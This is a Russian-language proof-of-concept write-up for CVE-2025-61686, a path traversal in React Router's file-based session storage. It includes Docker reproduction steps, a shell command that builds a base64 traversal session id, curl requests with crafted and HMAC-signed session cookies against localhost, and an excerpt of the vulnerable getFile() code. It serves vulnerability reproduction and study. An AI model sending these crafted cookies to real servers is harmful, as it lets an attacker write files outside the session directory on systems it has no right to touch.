
dockerfile и poc для воспроизведения CVE-2025-61686
docker-compose up --build
docker-compose up
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'
root@de14139fdebf:/app# ls /tmp
flower
Сравнивая уязвимые версии 7.9.3 и 7.9.4, можно обнаружить, что основная причина уязвимости заключается в обработке сессии в функции getFile() в файле react-router/packages/react-router-node/sessions /fileStorage.ts.
export function getFile(dir: string, id: string): string {
// Divide the session id up into a directory (first 2 bytes) and filename
// (remaining 6 bytes) to reduce the chance of having very large directories,
// which should speed up file access. This is a maximum of 2^16 directories,
// each with 2^48 files.
return path.join(dir, id.slice(0, 4), id.slice(4));
}
Здесь первые 4 символа сессии используются как имя папки, а остальные как имя файла, поэтому атакующему достаточно выполнить следующее, чтобы реализовать path traversal. Именно поэтому в объявлении уязвимости сказано, что при разрешении сессии без использования секрета можно легко осуществить обход каталога. Конечно, если атакующий может получить секрет, используемый для шифрования сессии, он также может сконструировать соответствующий payload для path traversal.
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'
В случае получения секрета, можно обратиться к функции sign() и подписать poc с помощью секрета.
export const sign = async (value: string, secret: string): Promise<string> => {
let data = encoder.encode(value);
let key = await createKey(secret, ["sign"]);
let signature = await crypto.subtle.sign("HMAC", key, data);
let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
/=+$/,
"",
);
return value + "." + hash;
};

Отправьте запрос с помощью сгенерированной сессии
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'
Подтвердите срабатывание уязвимости
root@eb8750bd4a56:/tmp# ls
flowerwitch
Скрипт создания подписи use_secret_create_payload.js